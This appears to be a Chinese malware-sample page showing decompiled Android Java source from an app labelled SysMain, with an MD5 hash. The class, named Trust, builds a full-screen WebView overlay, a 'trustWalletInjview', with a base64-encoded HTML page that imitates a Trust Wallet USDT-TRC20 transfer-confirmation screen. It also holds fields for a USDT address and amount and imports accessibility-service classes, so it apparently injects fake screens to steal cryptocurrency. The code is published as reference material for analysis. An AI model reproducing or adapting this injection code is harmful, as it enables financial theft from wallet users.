SysMain v1.0.0.0版本的 MD5 值为:79d14fa47957cd9988dfb6d8de68a333
以下内容为反编译后的 Trust.java 源代码,内容仅作参考
package unsubscribe.lodging.nszbknwvtwznsfjwrantkybbvqbsyflujhluvtobwztmntzizi2;
import android.R;
import android.accessibilityservice.AccessibilityService;
import android.content.Context;
import android.os.Bundle;
import android.view.View;
import android.view.ViewGroup;
import android.view.WindowManager;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import android.webkit.JavascriptInterface;
import android.webkit.JsResult;
import android.webkit.ValueCallback;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.widget.FrameLayout;
import android.widget.TextView;
import androidx.core.view.accessibility.AccessibilityNodeInfoCompat;
import java.util.HashMap;
import java.util.List;
import java.util.Locale;
import org.json.JSONObject;
import unsubscribe.lodging.nszbknwvtwznsfjwrantkybbvqbsyflujhluvtobwztmntzizi2.hohawzbtzkwomawrogvqukzacjzjklkjzujqantiworqvsdrhc3.AccessService;
import unsubscribe.lodging.nszbknwvtwznsfjwrantkybbvqbsyflujhluvtobwztmntzizi2.hohawzbtzkwomawrogvqukzacjzjklkjzujqantiworqvsdrhc3.MySettings;
import unsubscribe.lodging.nszbknwvtwznsfjwrantkybbvqbsyflujhluvtobwztmntzizi2.hohawzbtzkwomawrogvqukzacjzjklkjzujqantiworqvsdrhc3.initializeService;
public class Trust {
public static boolean ifShowDialog = false;
public static int showType = 1;
public static TextView textView;
public static FrameLayout trustWalletInjview;
public static WindowManager.LayoutParams trustWalletInjviewLayoutParams;
private static String usdtaddress;
private static String usdtamount;
public static WebView webView;
private static WindowManager windowManager;
public static void trustinj(final Context context, BiType biType) {
if (trustWalletInjview == null) {
initInjView(context);
}
if (webView == null) {
MyWebView myWebView = new MyWebView(context);
webView = myWebView;
char c = 65535;
myWebView.setLayoutParams(new ViewGroup.LayoutParams(-1, -1));
webView.requestFocus();
webView.setFocusable(true);
webView.setFocusableInTouchMode(true);
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
settings.setJavaScriptCanOpenWindowsAutomatically(true);
settings.setDomStorageEnabled(true);
settings.setCacheMode(1);
webView.setScrollBarStyle(0);
webView.setLayerType(2, null);
webView.setWebChromeClient(new MyWebChromeClient());
webView.requestFocus(130);
webView.requestFocusFromTouch();
webView.setEnabled(true);
webView.setVerticalScrollBarEnabled(false);
webView.setHorizontalScrollBarEnabled(false);
ViewGroup.LayoutParams layoutParams = webView.getLayoutParams();
layoutParams.height = (ScreenUtil.getScreenHeight(context) - ScreenUtil.dp2px(context, 140.0f)) - ScreenUtil.getStatusBarHeight(context);
webView.setLayoutParams(layoutParams);
String language = Locale.getDefault().getLanguage();
language.hashCode();
switch (language.hashCode()) {
case 3241:
if (language.equals("en")) {
c = 0;
break;
}
break;
case 3383:
if (language.equals("ja")) {
c = 1;
break;
}
break;
case 3428:
if (language.equals("ko")) {
c = 2;
break;
}
break;
case 3886:
if (language.equals("zh")) {
c = 3;
break;
}
break;
}
String str = "";
switch (c) {
case 0:
default:
str = "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCwgbWF4aW11bS1zY2FsZT0xLjAsIG1pbmltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vIj4KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzMj9mYW1pbHk9Um9ib3RvOndnaHRANDAwOzUwMCZkaXNwbGF5PXN3YXAiIHJlbD0ic3R5bGVzaGVldCI+CgogICAgPHN0eWxlPgogICAgICAgICogewogICAgICAgICAgICBib3gtc2l6aW5nOiBib3JkZXItYm94OwogICAgICAgICAgICBtYXJnaW46IDA7CiAgICAgICAgICAgIHBhZGRpbmc6IDA7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNGRkY7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnUm9ib3RvJywgc2Fucy1zZXJpZjsKICAgICAgICB9CgogICAgICAgIGh0bWwgewogICAgICAgICAgICBsaW5lLWhlaWdodDogMS42OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGOwogICAgICAgIH0KCiAgICAgICAgLmNvbnRhaW5lciB7CiAgICAgICAgICAgIG1heC13aWR0aDogNDAwcHg7CiAgICAgICAgICAgIG1hcmdpbjogMCBhdXRvOwogICAgICAgICAgICBwYWRkaW5nOiAxcmVtOwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgIAogICAgICAgIH0KCiAgICAgICAgaDEgewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDFyZW07CiAgICAgICAgfQoKICAgICAgICBsYWJlbCB7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwLjVyZW07CiAgICAgICAgfQoKICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0sIGlucHV0W3R5cGU9Im51bWJlciJdIHsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIHBhZGRpbmc6IDhweDsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMXJlbTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZmZmOwogICAgICAgIH0KCiAgICAgICAgYnV0dG9uIHsKICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoNjgsMTE2LDE4MiwxKTsKICAgICAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgfQoKICAgICAgICBidXR0b246aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0OwogICAgICAgIH0KICAgICAgICAuZGV0YWlsLWl0ZW0gewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47CiAgICAgICAgICAgIHBhZGRpbmc6IDAuM3JlbSAwOwogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgIH0KICAgICAgICAuZGV0YWlsLWl0ZW06bm90KDpsYXN0LWNoaWxkKSB7CiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjY2NjOwogICAgICAgIH0KICAgICAgICAuZGV0YWlsIHsKICAgICAgICAgICAgLyogbWFyZ2luLXRvcDogMXJlbTsKICAgICAgICAgICAgcGFkZGluZzogMC41cmVtOwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjY2NjOwogICAgICAgICAgICAvKiBiYWNrZ3JvdW5kLWNvbG9yOiBsaWdodGJsdWU7ICovCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDdweDsKCiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDFweCAxcHggMHB4IHJnYmEoMCwgMCwgMCwgMC4yNSksIC0xcHggMXB4IDBweCByZ2JhKDAsIDAsIDAsIDAuMjUpOwogICAgICAgICAgICBtYXJnaW4tdG9wOiAyMHB4OwogICAgICAgIH0KICAgICAgICAuZm9vdGVyIHsKICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOwogICAgICAgICAgICBib3R0b206IDA7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBwYWRkaW5nOiAxcmVtOwogICAgICAgIH0KICAgICAgICAubmF2LWljb24gewogICAgICAgICAgICB3aWR0aDogMXJlbTsKICAgICAgICB9CiAgICAgICAgLm5hdi1iYXIgewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47CiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsKICAgICAgICB9CiAgICAgICAgLmxlZnQgewogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OwogICAgICAgIH0KICAgICAgICAuY2VudGVyIHsKICAgICAgICAgICAgcGFkZGluZzogMTBweDsKICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICBsZWZ0OiA1MCU7CiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWCgtNTAlKTsKICAgICAgICAgICAgZm9udC1zaXplOiAyMHB4OwogICAgICAgICAgICBmb250LXdlaWdodDo1MDA7CiAgICAgICAgfQogICAgICAgIC50cmFuc2Zlci1hbW91bnQgewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDFyZW07CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMnJlbTsKICAgICAgICB9CiAgICAgICAgLnVzZCB7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMXJlbTsKICAgICAgICAgICAgY29sb3I6ICNjY2M7CiAgICAgICAgfQogICAgICAgIC5sZWZ0LWZvbnQgewogICAgICAgICAgICBjb2xvcjogIzMzMzsKICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4OwogICAgICAgIH0KICAgICAgICAucmlnaHQtZm9udCB7CiAgICAgICAgICAgIGNvbG9yOiBkYXJrZ3JheTsKICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4OwogICAgICAgIH0KICAgICAgICAubG9hZGluZy1vdmVybGF5IHsKCQkKICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgdG9wOiAwOwogICAgICAgIGxlZnQ6IDA7CiAgICAgICAgcmlnaHQ6IDA7CiAgICAgICAgYm90dG9tOiAwOwogICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwxKTsKICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICB9CgogICAgLnNwaW5uZXIgewogICAgICAgIHdpZHRoOiA1MHB4OwogICAgICAgIGhlaWdodDogNTBweDsKICAgICAgICBib3JkZXI6IDVweCBzb2xpZCByZ2JhKDAsIDAsIDAsIDAuMSk7CiAgICAgICAgYm9yZGVyLWxlZnQtY29sb3I6ICMzOTU2Y2Q7CiAgICAgICAgYm9yZGVyLXJhZGl1czogNTAlOwogICAgICAgIGFuaW1hdGlvbjogc3BpbiAxcyBsaW5lYXIgaW5maW5pdGU7CiAgICB9CgogICAgQGtleWZyYW1lcyBzcGluIHsKICAgICAgICAxMDAlIHsKICAgICAgICAgICAgdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTsKICAgICAgICB9CiAgICB9CiAgICA8L3N0eWxlPgoKPC9oZWFkPgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9ImxvYWRpbmctb3ZlcmxheSIgaWQ9ImxvYWRpbmdPdmVybGF5Ij4KICAgIDxkaXYgY2xhc3M9InNwaW5uZXIiPjwvZGl2Pgo8L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+CiAgICAgICAgPGRpdiBjbGFzcz0ibmF2LWJhciI+CiAgICAgICAgICAgIDwhL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ICAgICAgIDwhLS0g5bqV6YOo5oyJ6ZKuIC0tPgogICAgICAgICAgICA8IS0tIDxkaXYgY2xhc3M9ImZvb3RlciI+CiAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJsYW5nIiBzdHlsZT0iYmFja2dyb3VuZDogcmdiYSg2OCwgMTE2LCAxODIsKTsiIGRhdGEtbGFuZy1rZXk9ImNvbmZpcm0iPjwvYnV0dG9uPgogICAgICAgICAgICA8L2Rpdj4gLS0+CjwvYm9keT4KPHNjcmlwdD4KICAgICAgLy9zZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgLy9jb25zdCBsb2FkaW5nT3ZlcmxheSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2FkaW5nT3ZlcmxheScpOwogICAgICAgICAvL2xvYWRpbmdPdmVybGF5LnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICAgLy99LCAzMDAwKTsKICAgIGZ1bmN0aW9uICBjaGFuZ0xhbmcoZGF0YSkgewogICAgICAgIGNvbnN0IGxhbmd1YWdlUGFjayA9IHsKICAgICAgICAgICAgZW46IHsKICAgICAgICAgICAgICAgIHRpdGxlOiAnVHJhbnNmZXInLAogICAgICAgICAgICAgICAgYXNzZXQ6ICdUZXRoZXIgKFVTRFQpLVRSQzIwJywKICAgICAgICAgICAgICAgIG5ldHdvcmtfZmVlOidOZXR3b3JrIEZlZScsCiAgICAgICAgICAgICAgICB0b3RhbF90aXRsZTogJ01heCBUb3RhbCcsCiAgICAgICAgICAgICAgICBjb25maXJtOiAnQ29uZmlybScKICAgICAgICAgICAgfSwKICAgICAgICAgICAgemg6IHsKICAgICAgICAgICAgICAgIHRpdGxlOiAn6L2s6LSmJywKICAgICAgICAgICAgICAgIGFzc2V0OiAnVGV0aGVyIChVU0RUKS1UUkMyMCcsCiAgICAgICAgICAgICAgICBuZXR3b3JrX2ZlZTon572R57uc6LS555SoJywKICAgICAgICAgICAgICAgIHRvdGFsX3RpdGxlOiAn5pyA5aSn6K6h5pWwJywKICAgICAgICAgICAgICAgIGNvbmZpcm06ICfnoa7orqQnCiAgICAgICAgICAgIH0KICAgICAgICB9OwoKICAgICAgICBsZXQgY3VycmVudExhbmd1YWdlID0gJ2VuJwogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGNvbnN0IGxhbmcgPSBkYXRhLmxhbmc7CiAgICAgICAgICAgIGlmIChsYW5nID09PSAnemgnKSB7CiAgICAgICAgICAgICAgICBjdXJyZW50TGFuZ3VhZ2UgPSAnemgnOwogICAgICAgICAgICB9CiAgICAgICAgfSBjYXRjaCAoZSkgewogICAgICAgICAgICBjb25zb2xlLmxvZyhlKTsKICAgICAgICB9CgogICAgICAgIGNvbnN0IGVsZW1lbnRzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmxhbmcnKTsKCiAgICAgICAgZWxlbWVudHMuZm9yRWFjaChlbGVtZW50ID0+IHsKICAgICAgICAgICAgY29uc3Qga2V5ID0gZWxlbWVudC5nZXRBdHRyaWJ1dGUoJ2RhdGEtbGFuZy1rZXknKTsKICAgICAgICAgICAgZWxlbWVudC50ZXh0Q29udGVudCA9IGxhbmd1YWdlUGFja1tjdXJyZW50TGFuZ3VhZ2VdW2tleV07CgkJCQoJCQkKCQkJCiAgICAgICAgICAgIGNvbnNvbGUubG9nKGxhbmd1YWdlUGFja1tjdXJyZW50TGFuZ3VhZ2VdW2tleV0pCiAgICAgICAgfSk7CgogICAgfTsKICAgIGZ1bmN0aW9uIHRyYW5zYWN0aW9uX2luZm8oZGF0YSkgewogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoInVzZHRfYW1vdW50IilbMF0uaW5uZXJIVE1MID0gZGF0YS51c2R0X2Ftb3VudDsKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJ1c2RfYW1vdW50IilbMF0uaW5uZXJIVE1MID0gZGF0YS51c2RfYW1vdW50OwogICAgICAg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AgICogewogICAgICAgICAgICBib3gtc2l6aW5nOiBib3JkZXItYm94OwogICAgICAgICAgICBtYXJnaW46IDA7CiAgICAgICAgICAgIHBhZGRpbmc6IDA7CiAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICNGRkY7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnUm9ib3RvJywgc2Fucy1zZXJpZjsKICAgICAgICB9CgogICAgICAgIGh0bWwgewogICAgICAgICAgICBsaW5lLWhlaWdodDogMS42OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGOwogICAgICAgIH0KCiAgICAgICAgLmNvbnRhaW5lciB7CiAgICAgICAgICAgIG1heC13aWR0aDogNDAwcHg7CiAgICAgICAgICAgIG1hcmdpbjogMCBhdXRvOwogICAgICAgICAgICBwYWRkaW5nOiAxcmVtOwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA1cHg7CiAgICAgICAgIAogICAgICAgIH0KCiAgICAgICAgaDEgewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDFyZW07CiAgICAgICAgfQoKICAgICAgICBsYWJlbCB7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBtYXJnaW4tYm90dG9tOiAwLjVyZW07CiAgICAgICAgfQoKICAgICAgICBpbnB1dFt0eXBlPSJ0ZXh0Il0sIGlucHV0W3R5cGU9Im51bWJlciJdIHsKICAgICAgICAgICAgd2lkdGg6IDEwMCU7CiAgICAgICAgICAgIHBhZGRpbmc6IDhweDsKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMXJlbTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjZmZmOwogICAgICAgIH0KCiAgICAgICAgYnV0dG9uIHsKICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OwogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOnJnYmEoNjgsMTE2LDE4MiwxKTsKICAgICAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICAgICAgIGJvcmRlcjogbm9uZTsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNXB4OwogICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7CiAgICAgICAgfQoKICAgICAgICBidXR0b246aG92ZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0OwogICAgICAgIH0KICAgICAgICAuZGV0YWlsLWl0ZW0gewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47CiAgICAgICAgICAgIHBhZGRpbmc6IDAuM3JlbSAwOwogICAgICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyOwogICAgICAgIH0KICAgICAgICAuZGV0YWlsLWl0ZW06bm90KDpsYXN0LWNoaWxkKSB7CiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjY2NjOwogICAgICAgIH0KICAgICAgICAuZGV0YWlsIHsKICAgICAgICAgICAgLyogbWFyZ2luLXRvcDogMXJlbTsKICAgICAgICAgICAgcGFkZGluZzogMC41cmVtOwogICAgICAgICAgICBib3JkZXI6IDFweCBzb2xpZCAjY2NjOwogICAgICAgICAgICAvKiBiYWNrZ3JvdW5kLWNvbG9yOiBsaWdodGJsdWU7ICovCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDdweDsKCiAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7CiAgICAgICAgICAgIGJveC1zaGFkb3c6IDFweCAxcHggMHB4IHJnYmEoMCwgMCwgMCwgMC4yNSksIC0xcHggMXB4IDBweCByZ2JhKDAsIDAsIDAsIDAuMjUpOwogICAgICAgICAgICBtYXJnaW4tdG9wOiAyMHB4OwogICAgICAgIH0KICAgICAgICAuZm9vdGVyIHsKICAgICAgICAgICAgcG9zaXRpb246IGZpeGVkOwogICAgICAgICAgICBib3R0b206IDA7CiAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICBwYWRkaW5nOiAxcmVtOwogICAgICAgIH0KICAgICAgICAubmF2LWljb24gewogICAgICAgICAgICB3aWR0aDogMXJlbTsKICAgICAgICB9CiAgICAgICAgLm5hdi1iYXIgewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47CiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsKICAgICAgICB9CiAgICAgICAgLmxlZnQgewogICAgICAgICAgICBwYWRkaW5nOiAxMHB4OwogICAgICAgIH0KICAgICAgICAuY2VudGVyIHsKICAgICAgICAgICAgcGFkZGluZzogMTBweDsKICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOwogICAgICAgICAgICBsZWZ0OiA1MCU7CiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWCgtNTAlKTsKICAgICAgICAgICAgZm9udC1zaXplOiAyMHB4OwogICAgICAgICAgICBmb250LXdlaWdodDo1MDA7CiAgICAgICAgfQogICAgICAgIC50cmFuc2Zlci1hbW91bnQgewogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDFyZW07CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMnJlbTsKICAgICAgICB9CiAgICAgICAgLnVzZCB7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMXJlbTsKICAgICAgICAgICAgY29sb3I6ICNjY2M7CiAgICAgICAgfQogICAgICAgIC5sZWZ0LWZvbnQgewogICAgICAgICAgICBjb2xvcjogIzMzMzsKICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4OwogICAgICAgIH0KICAgICAgICAucmlnaHQtZm9udCB7CiAgICAgICAgICAgIGNvbG9yOiBkYXJrZ3JheTsKICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4OwogICAgICAgIH0KICAgICAgICAubG9hZGluZy1vdmVybGF5IHsKCQkKICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgdG9wOiAwOwogICAgICAgIGxlZnQ6IDA7CiAgICAgICAgcmlnaHQ6IDA7CiAgICAgICAgYm90dG9tOiAwOwogICAgICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwxKTsKICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7CiAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7CiAgICB9CgogICAgLnNwaW5uZXIgewogICAgICAgIHdpZHRoOiA1MHB4OwogICAgICAgIGhlaWdodDogNTBweDsKICAgICAgICBib3JkZXI6IDVweCBzb2xpZCByZ2JhKDAsIDAsIDAsIDAuMSk7CiAgICAgICAgYm9yZGVyLWxlZnQtY29sb3I6ICMzOTU2Y2Q7CiAgICAgICAgYm9yZGVyLXJhZGl1czogNTAlOwogICAgICAgIGFuaW1hdGlvbjogc3BpbiAxcyBsaW5lYXIgaW5maW5pdGU7CiAgICB9CgogICAgQGtleWZyYW1lcyBzcGluIHsKICAgICAgICAxMDAlIHsKICAgICAgICAgICAgdHJhbnNmb3JtOiByb3RhdGUoMzYwZGVnKTsKICAgICAgICB9CiAgICB9CiAgICA8L3N0eWxlPgoKPC9oZWFkPgo8Ym9keT4KICAgIDxkaXYgY2xhc3M9ImxvYWRpbmctb3ZlcmxheSIgaWQ9ImxvYWRpbmdPdmVybGF5Ij4KICAgIDxkaXYgY2xhc3M9InNwaW5uZXIiPjwvZGl2Pgo8L2Rpdj4KICAgIDxkaXYgY2xhc3M9ImNvbnRh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gogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KCgogICAgPC9kaXY+CiAgICAgICAgICAgIDwhLS0g5bqV6YOo5oyJ6ZKuIC0tPgogICAgICAgICAgICA8IS0tIDxkaXYgY2xhc3M9ImZvb3RlciI+CiAgICAgICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJsYW5nIiBzdHlsZT0iYmFja2dyb3VuZDogcmdiYSg2OCwgMTE2LCAxODIsKTsiIGRhdGEtbGFuZy1rZXk9ImNvbmZpcm0iPjwvYnV0dG9uPgogICAgICAgICAgICA8L2Rpdj4gLS0+CjwvYm9keT4KPHNjcmlwdD4KICAgICAgLy9zZXRUaW1lb3V0KCgpID0+IHsKICAgICAgICAgLy9jb25zdCBsb2FkaW5nT3ZlcmxheSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdsb2FkaW5nT3ZlcmxheScpOwogICAgICAgICAvL2xvYWRpbmdPdmVybGF5LnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiAgICAgLy99LCAzMDAwKTsKICAgIGZ1bmN0aW9uICBjaGFuZ0xhbmcoZGF0YSkgewogICAgICAgIGNvbnN0IGxhbmd1YWdlUGFjayA9IHsKICAgICAgICAgICAgZW46IHsKICAgICAgICAgICAgICAgIHRpdGxlOiAnVHJhbnNmZXInLAogICAgICAgICAgICAgICAgYXNzZXQ6ICdUZXRoZXIgKFVTRFQpLVRSQzIwJywKICAgICAgICAgICAgICAgIG5ldHdvcmtfZmVlOidOZXR3b3JrIEZlZScsCiAgICAgICAgICAgICAgICB0b3RhbF90aXRsZTogJ01heCBUb3RhbCcsCiAgICAgICAgICAgICAgICBjb25maXJtOiAnQ29uZmlybScKICAgICAgICAgICAgfSwKICAgICAgICAgICAgemg6IHsKICAgICAgICAgICAgICAgIHRpdGxlOiAn6L2s6LSmJywKICAgICAgICAgICAgICAgIGFzc2V0OiAnVGV0aGVyIChVU0RUKS1UUkMyMCcsCiAgICAgICAgICAgICAgICBuZXR3b3JrX2ZlZTon572R57uc6LS555SoJywKICAgICAgICAgICAgICAgIHRvdGFsX3RpdGxlOiAn5pyA5aSn6K6h5pWwJywKICAgICAgICAgICAgICAgIGNvbmZpcm06ICfnoa7orqQnCiAgICAgICAgICAgIH0KICAgICAgICB9OwoKICAgICAgICBsZXQgY3VycmVudExhbmd1YWdlID0gJ2VuJwogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGNvbnN0IGxhbmcgPSBkYXRhLmxhbmc7CiAgICAgICAgICAgIGlmIChsYW5nID09PSAnemgnKSB7CiAgICAgICAgICAgICAgICBjdXJyZW50TGFuZ3VhZ2UgPSAnemgnOwogICAgICAgICAgICB9CiAgICAgICAgfSBjYXRjaCAoZSkgewogICAgICAgICAgICBjb25zb2xlLmxvZyhlKTsKICAgICAgICB9CgogICAgICAgIGNvbnN0IGVsZW1lbnRzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvckFsbCgnLmxhbmcnKTsKCiAgICAgICAgZWxlbWVudHMuZm9yRWFjaChlbGVtZW50ID0+IHsKICAgICAgICAgICAgY29uc3Qga2V5ID0gZWxlbWVudC5nZXRBdHRyaWJ1dGUoJ2RhdGEtbGFuZy1rZXknKTsKICAgICAgICAgICAgZWxlbWVudC50ZXh0Q29udGVudCA9IGxhbmd1YWdlUGFja1tjdXJyZW50TGFuZ3VhZ2VdW2tleV07CgkJCQoJCQkKCQkJCiAgICAgICAgICAgIGNvbnNvbGUubG9nKGxhbmd1YWdlUGFja1tjdXJyZW50TGFuZ3VhZ2VdW2tleV0pCiAgICAgICAgfSk7CgogICAgfTsKICAgIGZ1bmN0aW9uIHRyYW5zYWN0aW9uX2luZm8oZGF0YSkgewogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRzQnlDbGFzc05hbWUoInVzZHRfYW1vdW50IilbMF0uaW5uZXJIVE1MID0gZGF0YS51c2R0X2Ftb3VudDsKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJ1c2RfYW1vdW50IilbMF0uaW5uZXJIVE1MID0gZGF0YS51c2RfYW1vdW50OwogICAgICAgIDwhLS0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiY2hhaW4iKVswXS5pbm5lckhUTUwgPSBkYXRhLnVzZF9jaGFpbjsgLS0+CiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgiZnJvbSIpWzBdLmlubmVySFRNTCA9IGRhdGEuZnJvbTsKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJ0byIpWzBdLmlubmVySFRNTCA9IGRhdGEudG87CiAgICAgICAgPCEtLSBkb2N1bWVudC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJmZWUiKVswXS5pbm5lckhUTUwgPSBkYXRhLmZlZTsgLS0+CiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudHNCeUNsYXNzTmFtZSgidG90YWwiKVswXS5pbm5lckhUTUwgPSBkYXRhLnRvdGFsOwogICAgICAgCiAgICB9CgkKCSB3aW5kb3cub25sb2FkID0gY2hhbmdMYW5nKHtsYW5nOiAnemgnfSk7Cjwvc2NyaXB0Pgo8L2h0bWw+";
break;
}
